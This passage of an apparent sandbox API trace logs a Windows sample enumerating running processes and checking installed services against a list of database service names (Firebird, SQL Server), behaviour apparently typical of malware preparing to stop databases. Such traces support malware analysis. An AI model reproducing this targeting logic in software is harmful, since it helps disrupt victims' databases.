lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0163.925] lstrlenW (lpString="explorer.exe") returned 12 [0163.925] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0163.926] lstrlenW (lpString="SearchUI.exe") returned 12 [0163.926] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0163.927] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0163.927] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0163.928] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0163.928] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0163.929] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0163.929] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0163.930] lstrlenW (lpString="wmxsde.exe") returned 10 [0163.930] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0163.931] lstrlenW (lpString="cmd.exe") returned 7 [0163.931] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0163.932] lstrlenW (lpString="conhost.exe") returned 11 [0163.932] Process32NextW (in: hSnapshot=0x464, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0163.932] CloseHandle (hObject=0x464) returned 1 [0163.933] Sleep (dwMilliseconds=0x1f4) [0164.787] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f7b8 [0164.787] EnumServicesStatusExW (in: hSCManager=0x459f7b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0164.788] GetLastError () returned 0xea [0164.788] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bbc) returned 0x46c24c0 [0164.788] EnumServicesStatusExW (in: hSCManager=0x459f7b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46c24c0, cbBufSize=0x1bbc, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46c24c0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0164.789] CloseServiceHandle (hSCObject=0x459f7b8) returned 1 [0164.789] lstrlenW (lpString="AppXSvc") returned 7 [0164.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0164.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0164.789] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0164.789] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0164.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0164.789] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0164.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.789] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0164.789] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0164.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0164.789] lstrlenW (lpString="Audiosrv") returned 8 [0164.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0164.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0164.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0164.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0164.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0164.789] lstrlenW (lpString="BFE") returned 3 [0164.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0164.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0164.790] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0164.790] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0164.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0164.790] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0164.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0164.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0164.790] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0164.790] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0164.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0164.790] lstrlenW (lpString="CDPSvc") returned 6 [0164.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0164.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0164.790] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0164.790] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0164.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0164.790] lstrlenW (lpString="ClickToRunSvc") returned 13 [0164.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0164.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0164.790] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0164.790] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0164.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0164.790] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0164.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0164.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0164.790] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0164.790] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0164.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0164.790] lstrlenW (lpString="CryptSvc") returned 8 [0164.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0164.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0164.790] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0164.791] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0164.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0164.791] lstrlenW (lpString="DcomLaunch") returned 10 [0164.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.791] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0164.791] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0164.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0164.791] lstrlenW (lpString="DeviceAssociationService") returned 24 [0164.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0164.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0164.791] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0164.791] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0164.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0164.791] lstrlenW (lpString="Dhcp") returned 4 [0164.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0164.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0164.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0164.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0164.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0164.791] lstrlenW (lpString="Dnscache") returned 8 [0164.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0164.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0164.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0164.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0164.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0164.791] lstrlenW (lpString="DPS") returned 3 [0164.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0164.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0164.791] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0164.791] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0164.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0164.791] lstrlenW (lpString="DsmSvc") returned 6 [0164.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0164.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0164.792] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0164.792] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0164.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0164.792] lstrlenW (lpString="DusmSvc") returned 7 [0164.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0164.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0164.792] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0164.792] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0164.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0164.792] lstrlenW (lpString="EventLog") returned 8 [0164.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0164.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0164.792] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0164.792] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0164.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0164.792] lstrlenW (lpString="EventSystem") returned 11 [0164.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0164.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0164.792] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0164.792] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0164.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0164.792] lstrlenW (lpString="FontCache") returned 9 [0164.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0164.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0164.792] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0164.792] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0164.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0164.792] lstrlenW (lpString="gpsvc") returned 5 [0164.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0164.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0164.793] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0164.793] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0164.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0164.793] lstrlenW (lpString="iphlpsvc") returned 8 [0164.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.793] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0164.793] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0164.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0164.793] lstrlenW (lpString="KeyIso") returned 6 [0164.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0164.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0164.793] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0164.793] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0164.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0164.793] lstrlenW (lpString="LanmanServer") returned 12 [0164.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0164.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0164.793] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0164.793] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0164.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0164.793] lstrlenW (lpString="LanmanWorkstation") returned 17 [0164.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.794] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0164.794] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0164.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0164.794] lstrlenW (lpString="lfsvc") returned 5 [0164.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0164.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0164.794] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0164.794] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0164.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0164.794] lstrlenW (lpString="lmhosts") returned 7 [0164.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0164.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0164.794] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0164.794] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0164.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0164.794] lstrlenW (lpString="LSM") returned 3 [0164.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0164.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0164.794] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0164.794] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0164.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0164.794] lstrlenW (lpString="MpsSvc") returned 6 [0164.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0164.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0164.794] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0164.794] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0164.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0164.794] lstrlenW (lpString="NcbService") returned 10 [0164.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0164.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0164.794] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0164.795] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0164.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0164.795] lstrlenW (lpString="netprofm") returned 8 [0164.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0164.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0164.795] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0164.795] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0164.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0164.795] lstrlenW (lpString="NgcSvc") returned 6 [0164.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0164.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0164.795] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0164.795] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0164.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0164.795] lstrlenW (lpString="NlaSvc") returned 6 [0164.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0164.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0164.795] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0164.795] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0164.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0164.795] lstrlenW (lpString="nsi") returned 3 [0164.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0164.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0164.795] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0164.795] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0164.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0164.795] lstrlenW (lpString="PcaSvc") returned 6 [0164.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0164.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0164.795] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0164.796] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0164.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0164.796] lstrlenW (lpString="PlugPlay") returned 8 [0164.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0164.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0164.796] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0164.796] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0164.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0164.796] lstrlenW (lpString="Power") returned 5 [0164.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0164.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0164.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0164.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0164.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0164.796] lstrlenW (lpString="ProfSvc") returned 7 [0164.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0164.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0164.796] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0164.796] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0164.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0164.796] lstrlenW (lpString="RpcEptMapper") returned 12 [0164.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.796] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0164.796] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0164.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0164.796] lstrlenW (lpString="RpcSs") returned 5 [0164.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0164.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0164.797] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0164.797] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0164.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0164.797] lstrlenW (lpString="SamSs") returned 5 [0164.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0164.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0164.797] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0164.797] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0164.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0164.797] lstrlenW (lpString="Schedule") returned 8 [0164.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0164.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0164.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0164.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0164.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0164.797] lstrlenW (lpString="SecurityHealthService") returned 21 [0164.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0164.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0164.797] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0164.797] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0164.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0164.797] lstrlenW (lpString="SENS") returned 4 [0164.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0164.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0164.797] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0164.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0164.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0164.798] lstrlenW (lpString="ShellHWDetection") returned 16 [0164.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.798] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0164.798] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0164.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0164.798] lstrlenW (lpString="Spooler") returned 7 [0164.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0164.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0164.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0164.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0164.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0164.798] lstrlenW (lpString="StateRepository") returned 15 [0164.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0164.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0164.798] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0164.798] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0164.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0164.798] lstrlenW (lpString="SysMain") returned 7 [0164.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0164.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 